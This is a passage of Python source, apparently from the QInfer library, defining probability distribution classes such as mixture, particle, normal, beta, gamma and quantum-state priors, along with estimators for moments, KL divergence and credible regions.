'Distribution', 'SingleSampleMixin', 'MixtureDistribution', 'ParticleDistribution', 'ProductDistribution', 'UniformDistribution', 'DiscreteUniformDistribution', 'MVUniformDistribution', 'ConstantDistribution', 'NormalDistribution', 'MultivariateNormalDistribution', 'SlantedNormalDistribution', 'LogNormalDistribution', 'BetaDistribution', 'DirichletDistribution', 'BetaBinomialDistribution', 'GammaDistribution', 'GinibreUniform', 'HaarUniform', 'HilbertSchmidtUniform', 'PostselectedDistribution', 'ConstrainedSumDistribution', 'InterpolatedUnivariateDistribution' ] ## FUNCTIONS ################################################################# def scipy_dist(name, *args, **kwargs): """ Wraps calling a scipy.stats distribution to allow for pickling. See https://github.com/scipy/scipy/issues/3125. """ return getattr(st, name)(*args, **kwargs) ## ABSTRACT CLASSES AND MIXINS ############################################### class Distribution(with_metaclass(abc.ABCMeta, object)): """ Abstract base class for probability distributions on one or more random variables. """ @abc.abstractproperty def n_rvs(self): """ The number of random variables that this distribution is over. :type: `int` """ pass @abc.abstractmethod def sample(self, n=1): """ Returns one or more samples from this probability distribution. :param int n: Number of samples to return. :rtype: numpy.ndarray :return: An array containing samples from the distribution of shape ``(n, d)``, where ``d`` is the number of random variables. """ pass class SingleSampleMixin(with_metaclass(abc.ABCMeta, object)): """ Mixin class that extends a class so as to generate multiple samples correctly, given a method ``_sample`` that generates one sample at a time. """ @abc.abstractmethod def _sample(self): pass def sample(self, n=1): samples = np.zeros((n, self.n_rvs)) for idx in range(n): samples[idx, :] = self._sample() return samples ## CLASSES ################################################################### class MixtureDistribution(Distribution): r""" Samples from a weighted list of distributions. :param weights: Length ``n_dist`` list or ``np.ndarray`` of probabilites summing to 1. :param dist: Either a length ``n_dist`` list of ``Distribution`` instances, or a ``Distribution`` class, for example, ``NormalDistribution``. It is assumed that a list of ``Distribution``s all have the same ``n_rvs``. :param dist_args: If ``dist`` is a class, an array of shape ``(n_dist, n_rvs)`` where ``dist_args[k,:]`` defines the arguments of the k'th distribution. Use ``None`` if the distribution has no arguments. :param dist_kw_args: If ``dist`` is a class, a dictionary where each key's value is an array of shape ``(n_dist, n_rvs)`` where ``dist_kw_args[key][k,:]`` defines the keyword argument corresponding to ``key`` of the k'th distribution. Use ``None`` if the distribution needs no keyword arguments. :param bool shuffle: Whether or not to shuffle result after sampling. Not shuffling will result in variates being in the same order as the distributions. Default is ``True``. """ def __init__(self, weights, dist, dist_args=None, dist_kw_args=None, shuffle=True): super(MixtureDistribution, self).__init__() self._weights = weights self._n_dist = len(weights) self._shuffle = shuffle try: self._example_dist = dist[0] self._is_dist_list = True self._dist_list = dist assert(self._n_dist == len(self._dist_list)) except: self._is_dist_list = False self._dist = dist self._dist_args = dist_args self._dist_kw_args = dist_kw_args assert(self._n_dist == self._dist_args.shape[0]) self._example_dist = self._dist( *self._dist_arg(0), **self._dist_kw_arg(0) ) def _dist_arg(self, k): """ Returns the arguments for the k'th distribution. :param int k: Index of distribution in question. :rtype: ``np.ndarary`` """ if self._dist_args is not None: return self._dist_args[k,:] else: return [] def _dist_kw_arg(self, k): """ Returns a dictionary of keyword arguments for the k'th distribution. :param int k: Index of the distribution in question. :rtype: ``dict`` """ if self._dist_kw_args is not None: return { key:self._dist_kw_args[key][k,:] for key in self._dist_kw_args.keys() } else: return {} @property def n_rvs(self): return self._example_dist.n_rvs @property def n_dist(self): """ The number of distributions in the mixture distribution. """ return self._n_dist def sample(self, n=1): # how many samples to take from each dist ns = np.random.multinomial(n, self._weights) idxs = np.arange(self.n_dist)[ns > 0] if self._is_dist_list: # sample from each distribution samples = np.concatenate([ self._dist_list[k].sample(n=ns[k]) for k in idxs ]) else: # instantiate each distribution and then sample samples = np.concatenate([ self._dist( *self._dist_arg(k), **self._dist_kw_arg(k) ).sample(n=ns[k]) for k in idxs ]) # in-place shuffling if self._shuffle: np.random.shuffle(samples) return samples class ParticleDistribution(Distribution): r""" A distribution consisting of a list of weighted vectors. Note that either `n_mps` or both (`particle_locations`, `particle_weights`) must be specified, or an error will be raised. :param numpy.ndarray particle_weights: Length ``n_particles`` list of particle weights. :param particle_locations: Shape ``(n_particles, n_mps)`` array of particle locations. :param int n_mps: Dimension of parameter space. This parameter should only be set when `particle_weights` and `particle_locations` are not set (and vice versa). """ def __init__(self, n_mps=None, particle_locations=None, particle_weights=None): super(ParticleDistribution, self).__init__() if particle_locations is None or particle_weights is None: # Initialize with single particle at origin. self.particle_locations = np.zeros((1, n_mps)) self.particle_weights = np.ones((1,)) elif n_mps is None: self.particle_locations = particle_locations self.particle_weights = np.abs(particle_weights) self.particle_weights = self.particle_weights / np.sum(self.particle_weights) else: raise ValueError('Either the dimension of parameter space, `n_mps`, or the particles, `particle_locations` and `particle_weights` must be specified.') @property def n_particles(self): """ Returns the number of particles in the distribution :type: `int` """ return self.particle_locations.shape[0] @property def n_ess(self): """ Returns the effective sample size (ESS) of the current particle distribution. :type: `float` :return: The effective sample size, given by :math:`1/\sum_i w_i^2`. """ return 1 / (np.sum(self.particle_weights**2)) ## DISTRIBUTION CONTRACT ## @property def n_rvs(self): """ Returns the dimension of each particle. :type: `int` """ return self.particle_locations.shape[1] def sample(self, n=1): """ Returns random samples from the current particle distribution according to particle weights. :param int n: The number of samples to draw. :return: The sampled model parameter vectors. :rtype: `~numpy.ndarray` of shape ``(n, updater.n_rvs)``. """ cumsum_weights = np.cumsum(self.particle_weights) return self.particle_locations[np.minimum(cumsum_weights.searchsorted( np.random.random((n,)), side='right' ), len(cumsum_weights) - 1)] ## MOMENT FUNCTIONS ## @staticmethod def particle_mean(weights, locations): r""" Returns the arithmetic mean of the `locations` weighted by `weights` :param numpy.ndarray weights: Weights of each particle in array of shape ``(n_particles,)``. :param numpy.ndarray locations: Locations of each particle in array of shape ``(n_particles, n_modelparams)`` :rtype: :class:`numpy.ndarray`, shape ``(n_modelparams,)``. :returns: An array containing the mean """ return np.dot(weights, locations) @classmethod def particle_covariance_mtx(cls, weights, locations): """ Returns an estimate of the covariance of a distribution represented by a given set of SMC particle. :param weights: An array of shape ``(n_particles,)`` containing the weights of each particle. :param location: An array of shape ``(n_particles, n_modelparams)`` containing the locations of each particle. :rtype: :class:`numpy.ndarray`, shape ``(n_modelparams, n_modelparams)``. :returns: An array containing the estimated covariance matrix. """ # Find the mean model vector, shape (n_modelparams, ). mu = cls.particle_mean(weights, locations) # Transpose the particle locations to have shape # (n_modelparams, n_particles). xs = locations.transpose([1, 0]) # Give a shorter name to the particle weights, shape (n_particles, ). ws = weights cov = ( # This sum is a reduction over the particle index, chosen to be # axis=2. Thus, the sum represents an expectation value over the # outer product $x . x^T$. # # All three factors have the particle index as the rightmost # index, axis=2. Using the Einstein summation convention (ESC), # we can reduce over the particle index easily while leaving # the model parameter index to vary between the two factors # of xs. # # This corresponds to evaluating A_{m,n} = w_{i} x_{m,i} x_{n,i} # using the ESC, where A_{m,n} is the temporary array created. np.einsum('i,mi,ni', ws, xs, xs) # We finish by subracting from the above expectation value # the outer product $mu . mu^T$. - np.dot(mu[..., np.newaxis], mu[np.newaxis, ...]) ) # The SMC approximation is not guaranteed to produce a # positive-semidefinite covariance matrix. If a negative eigenvalue # is produced, we should warn the caller of this. assert np.all(np.isfinite(cov)) if not np.all(la.eig(cov)[0] >= 0): warnings.warn('Numerical error in covariance estimation causing positive semidefinite violation.', ApproximationWarning) return cov def est_mean(self): """ Returns the mean value of the current particle distribution. :rtype: :class:`numpy.ndarray`, shape ``(n_mps,)``. :returns: An array containing the an estimate of the mean model vector. """ return self.particle_mean(self.particle_weights, self.particle_locations) def est_meanfn(self, fn): """ Returns an the expectation value of a given function :math:`f` over the current particle distribution. Here, :math:`f` is represented by a function ``fn`` that is vectorized over particles, such that ``f(modelparams)`` has shape ``(n_particles, k)``, where ``n_particles = modelparams.shape[0]``, and where ``k`` is a positive integer. :param callable fn: Function implementing :math:`f` in a vectorized manner. (See above.) :rtype: :class:`numpy.ndarray`, shape ``(k, )``. :returns: An array containing the an estimate of the mean of :math:`f`. """ return np.einsum('i...,i...', self.particle_weights, fn(self.particle_locations) ) def est_covariance_mtx(self, corr=False): """ Returns the full-rank covariance matrix of the current particle distribution. :param bool corr: If `True`, the covariance matrix is normalized by the outer product of the square root diagonal of the covariance matrix, i.e. the correlation matrix is returned instead. :rtype: :class:`numpy.ndarray`, shape ``(n_modelparams, n_modelparams)``. :returns: An array containing the estimated covariance matrix. """ cov = self.particle_covariance_mtx(self.particle_weights, self.particle_locations) if corr: dstd = np.sqrt(np.diag(cov)) cov /= (np.outer(dstd, dstd)) return cov ## INFORMATION QUANTITIES ## def est_entropy(self): r""" Estimates the entropy of the current particle distribution as :math:`-\sum_i w_i \log w_i` where :math:`\{w_i\}` is the set of particles with nonzero weight. """ nz_weights = self.particle_weights[self.particle_weights > 0] return -np.sum(np.log(nz_weights) * nz_weights) def _kl_divergence(self, other_locs, other_weights, kernel=None, delta=1e-2): """ Finds the KL divergence between this and another particle distribution by using a kernel density estimator to smooth over the other distribution's particles. """ if kernel is None: kernel = st.norm(loc=0, scale=1).pdf dist = rescaled_distance_mtx(self, other_locs) / delta K = kernel(dist) return -self.est_entropy() - (1 / delta) * np.sum( self.particle_weights * np.log( np.sum( other_weights * K, axis=1 # Sum over the particles of ``other``. ) ), axis=0 # Sum over the particles of ``self``. ) def est_kl_divergence(self, other, kernel=None, delta=1e-2): """ Finds the KL divergence between this and another particle distribution by using a kernel density estimator to smooth over the other distribution's particles. :param SMCUpdater other: """ return self._kl_divergence( other.particle_locations, other.particle_weights, kernel, delta ) ## CLUSTER ESTIMATION METHODS ############################################# def est_cluster_moments(self, cluster_opts=None): # TODO: document if cluster_opts is None: cluster_opts = {} for cluster_label, cluster_particles in particle_clusters( self.particle_locations, self.particle_weights, **cluster_opts ): w = self.particle_weights[cluster_particles] l = self.particle_locations[cluster_particles] yield ( cluster_label, sum(w), # The zeroth moment is very useful here! self.particle_mean(w, l), self.particle_covariance_mtx(w, l) ) def est_cluster_covs(self, cluster_opts=None): # TODO: document cluster_moments = np.array( list(self.est_cluster_moments(cluster_opts=cluster_opts)), dtype=[ ('label', 'int'), ('weight', 'float64'), ('mean', '{}float64'.format(self.n_rvs)), ('cov', '{0},{0}float64'.format(self.n_rvs)), ]) ws = cluster_moments['weight'][:, np.newaxis, np.newaxis] within_cluster_var = np.sum(ws * cluster_moments['cov'], axis=0) between_cluster_var = self.particle_covariance_mtx( # Treat the cluster means as a new very small particle cloud. cluster_moments['weight'], cluster_moments['mean'] ) total_var = within_cluster_var + between_cluster_var return within_cluster_var, between_cluster_var, total_var def est_cluster_metric(self, cluster_opts=None): """ Returns an estimate of how much of the variance in the current posterior can be explained by a separation between *clusters*. """ wcv, bcv, tv = self.est_cluster_covs(cluster_opts) return np.diag(bcv) / np.diag(tv) ## REGION ESTIMATION METHODS ############################################## def est_credible_region(self, level=0.95, return_outside=False, modelparam_slice=None): """ Returns an array containing particles inside a credible region of a given level, such that the described region has probability mass no less than the desired level. Particles in the returned region are selected by including the highest- weight particles first until the desired credibility level is reached. :param float level: Crediblity level to report. :param bool return_outside: If `True`, the return value is a tuple of the those particles within the credible region, and the rest of the posterior particle cloud. :param slice modelparam_slice: Slice over which model parameters to consider. :rtype: :class:`numpy.ndarray`, shape ``(n_credible, n_mps)``, where ``n_credible`` is the number of particles in the credible region and ``n_mps`` corresponds to the size of ``modelparam_slice``. If ``return_outside`` is ``True``, this method instead returns tuple ``(inside, outside)`` where ``inside`` is as described above, and ``outside`` has shape ``(n_particles-n_credible, n_mps)``. :return: An array of particles inside the estimated credible region. Or, if ``return_outside`` is ``True``, both the particles inside and the particles outside, as a tuple. """ # which slice of modelparams to take s_ = np.s_[modelparam_slice] if modelparam_slice is not None else np.s_[:] mps = self.particle_locations[:, s_] # Start by sorting the particles by weight. # We do so by obtaining an array of indices `id_sort` such that # `particle_weights[id_sort]` is in descending order. id_sort = np.argsort(self.particle_weights)[::-1] # Find the cummulative sum of the sorted weights. cumsum_weights = np.cumsum(self.particle_weights[id_sort]) # Find all the indices where the sum is less than level. # We first find id_cred such that # `all(cumsum_weights[id_cred] <= level)`. id_cred = cumsum_weights <= level # By construction, by adding the next particle to id_cred, it must be # true that `cumsum_weights[id_cred] >= level`, as required. id_cred[np.sum(id_cred)] = True # We now return a slice onto the particle_locations by first permuting # the particles according to the sort order, then by selecting the # credible particles. if return_outside: return ( mps[id_sort][id_cred], mps[id_sort][np.logical_not(id_cred)] ) else: return mps[id_sort][id_cred] def region_est_hull(self, level=0.95, modelparam_slice=None): """ Estimates a credible region over models by taking the convex hull of a credible subset of particles. :param float level: The desired crediblity level (see :meth:`SMCUpdater.est_credible_region`). :param slice modelparam_slice: Slice over which model parameters to consider. :return: The tuple ``(faces, vertices)`` where ``faces`` describes all the vertices of all of the faces on the exterior of the convex hull, and ``vertices`` is a list of all vertices on the exterior of the convex hull. :rtype: ``faces`` is a ``numpy.ndarray`` with shape ``(n_face, n_mps, n_mps)`` and indeces ``(idx_face, idx_vertex, idx_mps)`` where ``n_mps`` corresponds to the size of ``modelparam_slice``. ``vertices`` is an ``numpy.ndarray`` of shape ``(n_vertices, n_mps)``. """ points = self.est_credible_region( level=level, modelparam_slice=modelparam_slice ) hull = ConvexHull(points) return points[hull.simplices], points[u.uniquify(hull.vertices.flatten())] def region_est_ellipsoid(self, level=0.95, tol=0.0001, modelparam_slice=None): r""" Estimates a credible region over models by finding the minimum volume enclosing ellipse (MVEE) of a credible subset of particles. :param float level: The desired crediblity level (see :meth:`SMCUpdater.est_credible_region`). :param float tol: The allowed error tolerance in the MVEE optimization (see :meth:`~qinfer.utils.mvee`). :param slice modelparam_slice: Slice over which model parameters to consider. :return: A tuple ``(A, c)`` where ``A`` is the covariance matrix of the ellipsoid and ``c`` is the center. A point :math:`\vec{x}` is in the ellipsoid whenever :math:`(\vec{x}-\vec{c})^{T}A^{-1}(\vec{x}-\vec{c})\leq 1`. :rtype: ``A`` is ``np.ndarray`` of shape ``(n_mps,n_mps)`` and ``centroid`` is ``np.ndarray`` of shape ``(n_mps)``. ``n_mps`` corresponds to the size of ``param_slice``. """ _, vertices = self.region_est_hull(level=level, modelparam_slice=modelparam_slice) A, centroid = u.mvee(vertices, tol) return A, centroid def in_credible_region(self, points, level=0.95, modelparam_slice=None, method='hpd-hull', tol=0.0001): """ Decides whether each of the points lie within a credible region of the current distribution. If ``tol`` is ``None``, the particles are tested directly against the convex hull object. If ``tol`` is a positive ``float``, particles are tested to be in the interior of the smallest enclosing ellipsoid of this convex hull, see :meth:`SMCUpdater.region_est_ellipsoid`. :param np.ndarray points: An ``np.ndarray`` of shape ``(n_mps)`` for a single point, or of shape ``(n_points, n_mps)`` for multiple points, where ``n_mps`` corresponds to the same dimensionality as ``param_slice``. :param float level: The desired crediblity level (see :meth:`SMCUpdater.est_credible_region`). :param str method: A string specifying which credible region estimator to use. One of ``'pce'``, ``'hpd-hull'`` or ``'hpd-mvee'`` (see below). :param float tol: The allowed error tolerance for those methods which require a tolerance (see :meth:`~qinfer.utils.mvee`). :param slice modelparam_slice: A slice describing which model parameters to consider in the credible region, effectively marginizing out the remaining parameters. By default, all model parameters are included. :return: A boolean array of shape ``(n_points, )`` specifying whether each of the points lies inside the confidence region. Methods ~~~~~~~ The following values are valid for the ``method`` argument. - ``'pce'``: Posterior Covariance Ellipsoid. Computes the covariance matrix of the particle distribution marginalized over the excluded slices and uses the :math:`\chi^2` distribution to determine how to rescale it such the the corresponding ellipsoid has the correct size. The ellipsoid is translated by the mean of the particle distribution. It is determined which of the ``points`` are on the interior. - ``'hpd-hull'``: High Posterior Density Convex Hull. See :meth:`SMCUpdater.region_est_hull`. Computes the HPD region resulting from the particle approximation, computes the convex hull of this, and it is determined which of the ``points`` are on the interior. - ``'hpd-mvee'``: High Posterior Density Minimum Volume Enclosing Ellipsoid. See :meth:`SMCUpdater.region_est_ellipsoid` and :meth:`~qinfer.utils.mvee`. Computes the HPD region resulting from the particle approximation, computes the convex hull of this, and determines the minimum enclosing ellipsoid. Deterimines which of the ``points`` are on the interior. """ if method == 'pce': s_ = np.s_[modelparam_slice] if modelparam_slice is not None else np.s_[:] A = self.est_covariance_mtx()[s_, s_] c = self.est_mean()[s_] # chi-squared distribution gives correct level curve conversion mult = st.chi2.ppf(level, c.size) results = u.in_ellipsoid(points, mult * A, c) elif method == 'hpd-mvee': tol = 0.0001 if tol is None else tol A, c = self.region_est_ellipsoid(level=level, tol=tol, modelparam_slice=modelparam_slice) results = u.in_ellipsoid(points, np.linalg.inv(A), c) elif method == 'hpd-hull': # it would be more natural to call region_est_hull, # but that function uses ConvexHull which has no # easy way of determining if a point is interior. # Here, Delaunay gives us access to all of the # necessary simplices. # this fills the convex hull with (n_mps+1)-dimensional # simplices; the convex hull is an almost-everywhere # disjoint union of these simplices hull = Delaunay(self.est_credible_region(level=level, modelparam_slice=modelparam_slice)) # now we just check whether each of the given points are in # any of the simplices. (http://stackoverflow.com/a/16898636/1082565) results = hull.find_simplex(points) >= 0 return results class ProductDistribution(Distribution): r""" Takes a non-zero number of QInfer distributions :math:`D_k` as input and returns their Cartesian product. In other words, the returned distribution is :math:`\Pr(D_1, \dots, D_N) = \prod_k \Pr(D_k)`. :param Distribution factors: Distribution objects representing :math:`D_k`. Alternatively, one iterable argument can be given, in which case the factors are the values drawn from that iterator. """ def __init__(self, *factors): if len(factors) == 1: try: self._factors = list(factors[0]) except: self._factors = factors else: self._factors = factors @property def n_rvs(self): return sum([f.n_rvs for f in self._factors]) def sample(self, n=1): return np.hstack([f.sample(n) for f in self._factors]) _DEFAULT_RANGES = np.array([[0, 1]]) _DEFAULT_RANGES.flags.writeable = False # Prevent anyone from modifying the # default ranges. ## CLASSES ################################################################### class UniformDistribution(Distribution): """ Uniform distribution on a given rectangular region. :param numpy.ndarray ranges: Array of shape ``(n_rvs, 2)``, where ``n_rvs`` is the number of random variables, specifying the upper and lower limits for each variable. """ def __init__(self, ranges=_DEFAULT_RANGES): if not isinstance(ranges, np.ndarray): ranges = np.array(ranges) if len(ranges.shape) == 1: ranges = ranges[np.newaxis, ...] self._ranges = ranges self._n_rvs = ranges.shape[0] self._delta = ranges[:, 1] - ranges[:, 0] @property def n_rvs(self): return self._n_rvs def sample(self, n=1): shape = (n, self._n_rvs)# if n == 1 else (self._n_rvs, n) z = np.random.random(shape) return self._ranges[:, 0] + z * self._delta def grad_log_pdf(self, var): # THIS IS NOT TECHNICALLY LEGIT; BCRB doesn't technically work with a # prior that doesn't go to 0 at its end points. But we do it anyway. if var.shape[0] == 1: return 12/(self._delta)**2 else: return np.zeros(var.shape) class ConstantDistribution(Distribution): """ Represents a determinstic variable; useful for combining with other distributions, marginalizing, etc. :param values: Shape ``(n,)`` array or list of values :math:`X_0` such that :math:`\Pr(X) = \delta(X - X_0)`. """ def __init__(self, values): self._values = np.array(values)[np.newaxis, :] @property def n_rvs(self): return self._values.shape[1] def sample(self, n=1): return np.repeat(self._values, n, axis=0) class NormalDistribution(Distribution): """ Normal or truncated normal distribution over a single random variable. :param float mean: Mean of the represented random variable. :param float var: Variance of the represented random variable. :param tuple trunc: Limits at which the PDF of this distribution should be truncated, or ``None`` if the distribution is to have infinite support. """ def __init__(self, mean, var, trunc=None): self.mean = mean self.var = var if trunc is not None: low, high = trunc sigma = np.sqrt(var) a = (low - mean) / sigma b = (high - mean) / sigma self.dist = partial(scipy_dist, 'truncnorm', a, b, loc=mean, scale=np.sqrt(var)) else: self.dist = partial(scipy_dist, 'norm', mean, np.sqrt(var)) @property def n_rvs(self): return 1 def sample(self, n=1): return self.dist().rvs(size=n)[:, np.newaxis] def grad_log_pdf(self, x): return -(x - self.mean) / self.var class MultivariateNormalDistribution(Distribution): """ Multivariate (vector-valued) normal distribution. :param np.ndarray mean: Array of shape ``(n_rvs, )`` representing the mean of the distribution. :param np.ndarray cov: Array of shape ``(n_rvs, n_rvs)`` representing the covariance matrix of the distribution. """ def __init__(self, mean, cov): # Flatten the mean first, so we have a strong guarantee about its # shape. self.mean = np.array(mean).flatten() self.cov = cov self.invcov = la.inv(cov) @property def n_rvs(self): return self.mean.shape[0] def sample(self, n=1): return np.einsum("ij,nj->ni", la.sqrtm(self.cov), np.random.randn(n, self.n_rvs)) + self.mean def grad_log_pdf(self, x): return -np.dot(self.invcov, (x - self.mean).transpose()).transpose() class SlantedNormalDistribution(Distribution): r""" Uniform distribution on a given rectangular region with additive noise. Random variates from this distribution follow :math:`X+Y` where :math:`X` is drawn uniformly with respect to the rectangular region defined by ranges, and :math:`Y` is normally distributed about 0 with variance ``weight**2``. :param numpy.ndarray ranges: Array of shape ``(n_rvs, 2)``, where ``n_rvs`` is the number of random variables, specifying the upper and lower limits for each variable. :param float weight: Number specifying the inverse variance of the additive noise term. """ def __init__(self, ranges=_DEFAULT_RANGES, weight=0.01): if not isinstance(ranges, np.ndarray): ranges = np.array(ranges) if len(ranges.shape) == 1: ranges = ranges[np.newaxis, ...] self._ranges = ranges self._n_rvs = ranges.shape[0] self._delta = ranges[:, 1] - ranges[:, 0] self._weight = weight @property def n_rvs(self): return self._n_rvs def sample(self, n=1): shape = (n, self._n_rvs)# if n == 1 else (self._n_rvs, n) z = np.random.randn(n, self._n_rvs) return self._ranges[:, 0] + \ self._weight*z + \ np.random.rand(n, self._n_rvs)*self._delta[np.newaxis,:] class LogNormalDistribution(Distribution): """ Log-normal distribution. :param mu: Location parameter (numeric), set to 0 by default. :param sigma: Scale parameter (numeric), set to 1 by default. Must be strictly greater than zero. """ def __init__(self, mu=0, sigma=1): self.mu = mu # lognormal location parameter self.sigma = sigma # lognormal scale parameter self.dist = partial(scipy_dist, 'lognorm', 1, mu, sigma) # scipy distribution location = 0 @property def n_rvs(self): return 1 def sample(self, n=1): return self.dist().rvs(size=n)[:, np.newaxis] class BetaDistribution(Distribution): r""" The beta distribution, whose pdf at :math:`x` is proportional to :math:`x^{\alpha-1}(1-x)^{\beta-1}`. Note that either ``alpha`` and ``beta``, or ``mean`` and ``var``, must be specified as inputs; either case uniquely determines the distribution. :param float alpha: The alpha shape parameter of the beta distribution. :param float beta: The beta shape parameter of the beta distribution. :param float mean: The desired mean value of the beta distribution. :param float var: The desired variance of the beta distribution. """ def __init__(self, alpha=None, beta=None, mean=None, var=None): if alpha is not None and beta is not None: self.alpha = alpha self.beta = beta self.mean = alpha / (alpha + beta) self.var = alpha * beta / ((alpha + beta) ** 2 * (alpha + beta + 1)) elif mean is not None and var is not None: self.mean = mean self.var = var self.alpha = mean ** 2 * (1 - mean) / var - mean self.beta = (1 - mean) ** 2 * mean / var - (1 - mean) else: raise ValueError( "BetaDistribution requires either (alpha and beta) " "or (mean and var)." ) self.dist = st.beta(a=self.alpha, b=self.beta) @property def n_rvs(self): return 1 def sample(self, n=1): return self.dist.rvs(size=n)[:, np.newaxis] class DirichletDistribution(Distribution): r""" The dirichlet distribution, whose pdf at :math:`x` is proportional to :math:`\prod_i x_i^{\alpha_i-1}`. :param alpha: The list of concentration parameters. """ def __init__(self, alpha): self._alpha = np.array(alpha) if self.alpha.ndim != 1: raise ValueError('The input alpha must be a 1D list of concentration parameters.') self._dist = st.dirichlet(alpha=self.alpha) @property def alpha(self): return self._alpha @property def n_rvs(self): return self._alpha.size def sample(self, n=1): return self._dist.rvs(size=n) class BetaBinomialDistribution(Distribution): r""" The beta-binomial distribution, whose pmf at the non-negative integer :math:`k` is equal to :math:`\binom{n}{k}\frac{B(k+\alpha,n-k+\beta)}{B(\alpha,\beta)}` with :math:`B(\cdot,\cdot)` the beta function. This is the compound distribution whose variates are binomial distributed with a bias chosen from a beta distribution. Note that either ``alpha`` and ``beta``, or ``mean`` and ``var``, must be specified as inputs; either case uniquely determines the distribution. :param int n: The :math:`n` parameter of the beta-binomial distribution. :param float alpha: The alpha shape parameter of the beta-binomial distribution. :param float beta: The beta shape parameter of the beta-binomial distribution. :param float mean: The desired mean value of the beta-binomial distribution. :param float var: The desired variance of the beta-binomial distribution. """ def __init__(self, n, alpha=None, beta=None, mean=None, var=None): self.n = n if alpha is not None and beta is not None: self.alpha = alpha self.beta = beta self.mean = n * alpha / (alpha + beta) self.var = n * alpha * beta * (alpha + beta + n) / ((alpha + beta) ** 2 * (alpha + beta + 1)) elif mean is not None and var is not None: self.mean = mean self.var = var self.alpha = - mean * (var + mean **2 - n * mean) / (mean ** 2 + n * (var - mean)) self.beta = (n - mean) * (var + mean ** 2 - n * mean) / ((n - mean) * mean - n * var) else: raise ValueError("BetaBinomialDistribution requires either (alpha and beta) or (mean and var).") # Beta-binomial is a compound distribution, drawing binomial # RVs off of a beta-distrubuted bias. self._p_dist = st.beta(a=self.alpha, b=self.beta) @property def n_rvs(self): return 1 def sample(self, n=1): p_vals = self._p_dist.rvs(size=n)[:, np.newaxis] # numpy.random.binomial supports sampling using different p values, # whereas scipy does not. return np.random.binomial(self.n, p_vals) class GammaDistribution(Distribution): r""" The gamma distribution, whose pdf at :math:`x` is proportional to :math:`x^{-\alpha-1}e^{-x\beta}`. Note that either alpha and beta, or mean and var, must be specified as inputs; either case uniquely determines the distribution. :param float alpha: The alpha shape parameter of the gamma distribution. :param float beta: The beta shape parameter of the gamma distribution. :param float mean: The desired mean value of the gamma distribution. :param float var: The desired variance of the gamma distribution. """ def __init__(self, alpha=None, beta=None, mean=None, var=None): if alpha is not None and beta is not None: self.alpha = alpha self.beta = beta self.mean = alpha / beta self.var = alpha / beta ** 2 elif mean is not None and var is not None: self.mean = mean self.var = var self.alpha = mean ** 2 / var self.beta = mean / var else: raise ValueError("GammaDistribution requires either (alpha and beta) or (mean and var).") # This is the distribution we want up to a scale factor of beta self._dist = st.gamma(self.alpha) @property def n_rvs(self): return 1 def sample(self, n=1): return self._dist.rvs(size=n)[:, np.newaxis] / self.beta class MVUniformDistribution(Distribution): r""" Uniform distribution over the rectangle :math:`[0,1]^{\text{dim}}` with the restriction that vector must sum to 1. Equivalently, a uniform distribution over the ``dim-1`` simplex whose vertices are the canonical unit vectors of :math:`\mathbb{R}^\text{dim}`. :param int dim: Number of dimensions; ``n_rvs``. """ def __init__(self, dim = 6): warnings.warn( "This class has been deprecated, and may " "be renamed in future versions.", DeprecationWarning ) self._dim = dim @property def n_rvs(self): return self._dim def sample(self, n = 1): return np.random.mtrand.dirichlet(np.ones(self._dim),n) class DiscreteUniformDistribution(Distribution): """ Discrete uniform distribution over the integers between ``0`` and ``2**num_bits-1`` inclusive. :param int num_bits: non-negative integer specifying how big to make the interval. """ def __init__(self, num_bits): self._num_bits = num_bits @property def n_rvs(self): return 1 def sample(self, n=1): z = np.random.randint(2**self._num_bits,size=n) return z class HilbertSchmidtUniform(SingleSampleMixin, Distribution): """ Creates a new Hilber-Schmidt uniform prior on state space of dimension ``dim``. See e.g. [Mez06]_ and [Mis12]_. :param int dim: Dimension of the state space. """ def __init__(self, dim=2): warnings.warn( "This class has been deprecated; please see " "qinfer.tomography.GinibreDistribution(rank=None).", DeprecationWarning ) self.dim = dim self.paulis1Q = np.array([[[1,0],[0,1]],[[1,0],[0,-1]],[[0,-1j],[1j,0]],[[0,1],[1,0]]]) self.paulis = self.make_Paulis(self.paulis1Q, 4) @property def n_rvs(self): return self.dim**2 - 1 def sample(self): #Generate random unitary (see e.g. http://arxiv.org/abs/math-ph/0609050v2) g = (np.random.randn(self.dim,self.dim) + 1j*np.random.randn(self.dim,self.dim))/np.sqrt(2.0) q,r = la.qr(g) d = np.diag(r) ph = d/np.abs(d) ph = np.diag(ph) U = np.dot(q,ph) #Generate random matrix z = np.random.randn(self.dim,self.dim) + 1j*np.random.randn(self.dim,self.dim) rho = np.dot(np.dot(np.identity(self.dim)+U,np.dot(z,z.conj().transpose())),np.identity(self.dim)+U.conj().transpose()) rho = rho/np.trace(rho) x = np.zeros([self.n_rvs]) for idx in range(self.n_rvs): x[idx] = np.real(np.trace(np.dot(rho,self.paulis[idx+1]))) return x def make_Paulis(self,paulis,d): if d == self.dim*2: return paulis else: temp = np.zeros([d**2,d,d],dtype='complex128') for idx in range(temp.shape[0]): temp[idx,:] = np.kron(paulis[np.trunc(idx/d)], self.paulis1Q[idx % 4]) return self.make_Paulis(temp,d*2) class HaarUniform(SingleSampleMixin, Distribution): """ Haar uniform distribution of pure states of dimension ``dim``, parameterized as coefficients of the Pauli basis. :param int dim: Dimension of the state space. .. note:: This distribution presently only works for ``dim==2`` and the Pauli basis. """ def __init__(self, dim=2): warnings.warn( "This class has been deprecated; please see " "qinfer.tomography.GinibreDistribution(rank=1).", DeprecationWarning ) # TODO: add basis as an option self.dim = dim @property def n_rvs(self): return 3 def _sample(self): #Generate random unitary (see e.g. http://arxiv.org/abs/math-ph/0609050v2) z = (np.random.randn(self.dim,self.dim) + 1j*np.random.randn(self.dim,self.dim))/np.sqrt(2.0) q,r = la.qr(z) d = np.diag(r) ph = d/np.abs(d) ph = np.diag(ph) U = np.dot(q,ph) #TODO: generalize this to general dimensions #Apply Haar random unitary to |0> state to get random pure state psi = np.dot(U,np.array([1,0])) z = np.real(np.dot(psi.conj(),np.dot(np.array([[1,0],[0,-1]]),psi))) y = np.real(np.dot(psi.conj(),np.dot(np.array([[0,-1j],[1j,0]]),psi))) x = np.real(np.dot(psi.conj(),np.dot(np.array([[0,1],[1,0]]),psi))) return np.array([x,y,z]) class GinibreUniform(SingleSampleMixin, Distribution): """ Creates a prior on state space of dimension dim according to the Ginibre ensemble with parameter ``k``. See e.g. [Mis12]_. :param int dim: Dimension of the state space. """ def __init__(self,dim=2, k=2): warnings.warn( "This class has been deprecated; please see " "qinfer.tomography.GinibreDistribution.", DeprecationWarning ) self.dim = dim self.k = k @property def n_rvs(self): return 3 def _sample(self): #Generate random matrix z = np.random.randn(self.dim,self.k) + 